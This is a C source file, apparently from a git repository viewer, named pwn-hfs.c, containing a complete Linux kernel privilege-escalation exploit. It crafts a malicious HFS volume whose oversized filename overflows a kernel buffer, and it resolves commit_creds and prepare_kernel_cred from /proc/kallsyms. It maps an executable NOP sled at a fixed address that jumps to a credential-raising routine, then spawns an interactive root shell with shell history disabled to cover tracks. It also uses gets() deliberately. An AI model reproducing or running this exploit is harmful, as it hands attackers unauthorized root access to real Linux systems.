summaryrefslogblamecommitdiffstats
path: root/pwn-hfs.c
blob: 66b7412f1fe4ce052931b1c991243e09616a355f (plain) (tree)













































































































































































                                                                                                                                                            
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <syscall.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

// Spender's kernel sym code
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;
 
	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}
 
repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		}
	}
 
	fclose(f);
	if (rep)
		return 0;
fallback:
	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

volatile int got_root = 0;
void root()
{
	commit_creds(prepare_kernel_cred(0));
	got_root = 1;
}

void build_volume()
{
	if (getuid()) {
		printf("[-] You must be root to build the malicious volume. Do this on another computer you control.\n");
		exit(-1);
	}
	printf("[+] Building malicious HFS volume at /tmp/evilhfs.\n");
	system("dd if=/dev/zero of=/tmp/evilhfs count=2048");
	system("mkfs.hfs -h /tmp/evilhfs");
	system("mkdir -v /tmp/evilhfsmount");
	system("mount -v -t hfs /tmp/evilhfs /tmp/evilhfsmount");
	system("touch /tmp/evilhfsmount/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	system("umount -v /tmp/evilhfsmount");
	system("rmdir -v /tmp/evilhfsmount");
	
	printf("[+] Modifying volume.\n");
	FILE *hfs = fopen("/tmp/evilhfs", "r+");
	if (!hfs) {
		perror("fopen");
		exit(-1);
	}
	fseek(hfs, 0x2AA0, SEEK_SET);
	fputc(0xFF, hfs); // Make the length 255
	fseek(hfs, 0x2B00, SEEK_SET);
	for (int i = 0; i < 128; ++i)
		fputc('A', hfs); // Write an A, which is 0x41
	fclose(hfs);
}

void main(int argc, char *argv[])
{
	if (argc == 2 && strcmp(argv[1], "-b") == 0) {
		build_volume();
		return;
	}
	
	printf("[+] Resolving kernel symbols.\n");
        commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
	if (!commit_creds || !prepare_kernel_cred) {
		printf("[-] Failed to resolve kernel symbols.\n");
		exit(-1);
	}
	
	printf("[+] Mmaping ascii page.\n");
	void *location = mmap((void*)0x40404000, sysconf(_SC_PAGE_SIZE), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0);
	if ((long)location < 0) {
		perror("[-] mmap");
		exit(-1);
	}
	
	printf("[+] Adding jmp to pwnage at 0x40404040.\n");
	for (unsigned long i = 0x40404000; i <= 0x40404040; ++i)
		*(char*)i = 0x90; // nop
	*(char*)0x40404041 = 0xe9; // jmp
	*(unsigned long*)0x40404042 = (unsigned long)&root;
	
	printf("[+] Enter the mount point of the malicious HFS volume: ");
	char mountpoint[256];
	// For good measure, I'm including a stack overflow inside of a stack overflow exploit. Have fun kids.
	gets(mountpoint);
	
	printf("[+] Reading directory to trigger overflow.\n");
	DIR *dir = opendir(mountpoint);
	if (!dir) {
		perror("opendir");
		exit(-1);
	}
	while(readdir(dir));

	printf("[+] Triggering clobbered function pointer.\n");
	syscall(__NR_restart_syscall);
	
	if (!got_root) {
		printf("[-] Failed to get root.\n");
		exit(-1);
	}
	
	setuid(0);
	setgid(0);
	setenv("HISTFILE", "/dev/null", 1);
	execl("/bin/sh", "sh", "-i", NULL);
}